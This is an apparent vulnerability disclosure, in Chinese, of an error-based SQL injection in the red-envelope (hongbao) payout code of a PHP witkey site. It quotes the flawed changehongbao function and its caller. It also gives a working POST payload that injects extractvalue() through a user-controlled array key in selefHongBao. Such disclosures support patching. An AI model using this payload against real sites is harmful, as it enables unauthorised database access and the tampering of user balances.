### 简要描述：
rt
### 详细说明：
/www/lib/inc/CommonClass.php
```
public static function changehongbao($task_id,$moneys,$uid,$money,$title,$g) {
$result=db_factory::get_one('select * from '.TABLEPRE.'witkey_space where uid='.$uid);
if($g){
$newbalance=$result['balance']-$money+$moneys;
db_factory::query('update '.TABLEPRE.'witkey_space set balance='.$newbalance.' where uid='.$uid);
keke_finance_class::insert_trust("in", "task_xg", $uid, -$money+$moneys, $newbalance);
}else{
$newbalance=$result['balance']+$money;
keke_finance_class::insert_trust("in", "finish_task", $uid,$money, $newbalance,$task_id);
db_factory::query('update '.TABLEPRE.'witkey_space set balance='.$newbalance.' where uid='.$uid);
db_factory::query('update '.TABLEPRE.'witkey_space set is_hongbao=1 where uid='.$uid);
db_factory::query('update '.TABLEPRE.'witkey_task_work set work_status=4 where uid='.$uid.' and task_id='.$task_id);
}
if(!$g){
$v_arr = array (
"红包任务" => '【'.$title.'】',
"红包金额" => $money
);
keke_msg_class::notify_user($uid, $result['username'], 'select', '红包任务完成通知',$v_arr);
}
return true;
}
```
可以看到uid参数没有单引号包裹带入了查询。
看看何处调用了。
/www/control/select.php
```
......
foreach ($cbk as $key => $val) {
do {
$lcg = lcg_value();
} while ($lcg < 0.1);
if (($key + 1) == $count) {
$selefHongBao[$val] = $hongbaoSum;
} else {
$selefHongBao[$val] = number_format($lcg * $hongbaoSum, 2);
}
$hongbaoSum -= $selefHongBao[$val];
$a += $selefHongBao[$val];
}
foreach ($selefHongBao as $k => $v) {
CommonClass::changehongbao($task_id, $task_info[0]['task_cash'], $k, $v, $task_info[0]['task_title']);
}
CommonClass::changehongbao('', $task_info[0]['task_cash'], $gUid, $a, $task_info[0]['task_title'], 1);
.......
```
可以看到 这里调用了。$k来源于 selefHongBao 的键值。
然而，这个程序是伪全局的，所以 我们可以添加一个$selefHongBao的键。
http://localhost:801/index.php?do=select
post：
```
formhash=1&selefHongBao[111 and extractvalue(1,concat(0x5c,user()))]=1111&task_id=1
```
[<img src="https://images.seebug.org/upload/201509/17025134a4928d05c06ffa2ee2c745f70651870b.png" alt="22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/17025134a4928d05c06ffa2ee2c745f70651870b.png)
### 漏洞证明：
[<img src="https://images.seebug.org/upload/201509/17025134a4928d05c06ffa2ee2c745f70651870b.png" alt="22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/17025134a4928d05c06ffa2ee2c745f70651870b.png)
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